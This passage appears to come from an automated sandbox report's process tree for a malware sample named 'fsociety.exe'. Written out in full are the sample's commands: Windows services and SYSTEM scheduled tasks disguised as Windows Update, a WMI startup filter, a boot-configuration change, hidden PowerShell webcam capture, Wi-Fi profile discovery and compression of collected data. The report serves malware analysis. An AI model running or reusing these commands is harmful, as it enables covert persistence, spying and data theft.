    3⤵
    PID:1356
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:5380
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:4132
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:2424
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:5076
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:5996
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:3876
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:1144
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:2624
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:3400
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:4528
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3532
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:5732
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4944
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:4852
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2648
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4816
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4884
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:2656
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:2656
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:4748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:2504
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:2476
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:6300
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6620
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7024
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:7108
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      Launches sc.exe
      PID:2516
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6288
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:6236
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7128
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:4456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:6940
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6700
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:3160
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6740
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:2056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6604
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:6576
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:6552
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:6584
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:5732
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:7136
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:3244
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:7352
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:7604
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:524
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6196
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:7204
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6244
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:7332
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:7456
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:4236
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6348
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:6648
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:7656
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:7240
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:4180
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:6544
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:7620
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:8256
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:8980
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:5892
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:6528
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:8764
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:8784
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:7664
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240740031.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240740031.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:5868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240740031.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240740031.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  PID:6368
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6212
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240739734\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240739734\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:6744
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    PID:4876

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Executes dropped EXE
PID:1548
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:2984
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:4000
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:2864
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4700
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      Launches sc.exe
      PID:4532
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1928
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:2920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:4424
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:756
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2388
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:3324
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3540
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:672
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4508
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5348
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:2928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:1504
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:1496
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:2260
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:4228
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:4764
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4656
  - - C:\Windows\System32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:4496
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:3548
  - - C:\Windows\System32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:4972
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:1596
  - - C:\Windows\System32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:3272
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:4300
  - - C:\Windows\System32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:3988
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5368
  - - C:\Windows\System32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:4600
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:3716
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:1540
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:3468
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:2928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:5160
  - - C:\Windows\System32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:1420
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:2884
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1692
  - - C:\Windows\System32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5652
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:4296
  - - C:\Windows\System32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:2624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:2828
  - - C:\Windows\System32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:5052
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:3996
  - - C:\Windows\System32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:1140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:5084
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5576
  - - C:\Windows\System32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:4624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:5600
  - - C:\Windows\System32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:4404
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:2784
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2732
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:4816
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:2480
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6184
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:6456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6704
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:3236
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:6672
  - - C:\Windows\System32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:7136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:5880
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:1120
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:4592
  - - C:\Windows\System32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1692
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:4320
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:6732
    - - C:\Windows\System32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        
        PID:6220
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      PID:6708
    - - C:\Windows\System32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:6748
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      PID:6952
    - - C:\Windows\System32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:6292
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
      4⤵
      PID:3388
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate start= boot
        5⤵
        
        PID:3244
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
      4⤵
      PID:7088
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate type= own
        5⤵
        
        PID:7276
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
      4⤵
      PID:7548
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate obj= LocalSystem
        5⤵
        
        PID:8180
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
      4⤵
      PID:7044
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate error= ignore
        5⤵
        
        PID:7864
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
      4⤵
      PID:7280
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
        5⤵
        
        PID:7224
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
      4⤵
      PID:5956
    - - C:\Windows\System32\sc.exe
        
        sc description WindowsUpdate "Provides Windows system updates"
        5⤵
        
        PID:5464
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc start WindowsUpdate >nul 2>&1
      4⤵
      PID:7908
    - - C:\Windows\System32\sc.exe
        
        sc start WindowsUpdate
        5⤵
        
        PID:6168
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop SystemUpdate >nul 2>&1
      4⤵
      PID:8132
    - - C:\Windows\System32\sc.exe
        
        sc stop SystemUpdate
        5⤵
        
        PID:7724
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete SystemUpdate >nul 2>&1
      4⤵
      PID:7780
    - - C:\Windows\System32\sc.exe
        
        sc delete SystemUpdate
        5⤵
        
        PID:7136
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      PID:2460
    - - C:\Windows\System32\sc.exe
        
        sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
        5⤵
        
        PID:8596
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
      4⤵
      PID:1408
    - - C:\Windows\System32\sc.exe
        
        sc config SystemUpdate start= system
        5⤵
        
        PID:5116
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
      4⤵
      PID:8348
    - - C:\Windows\System32\sc.exe
        
        sc config SystemUpdate obj= LocalSystem
        5⤵
        
        PID:8780
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc start SystemUpdate >nul 2>&1
      4⤵
      PID:7440
    - - C:\Windows\System32\sc.exe
        
        sc start SystemUpdate
        5⤵
        
        PID:8420
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
      4⤵
      PID:8948
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240752515.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240752515.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:6188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240752515.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240752515.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:7632
  - - C:\Windows\System32\netsh.exe
      netsh wlan show profile
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:8140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240752453\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
    3⤵
    PID:6620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240752453\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7084

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Executes dropped EXE
PID:4460
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  - Modifies WinLogon for persistence
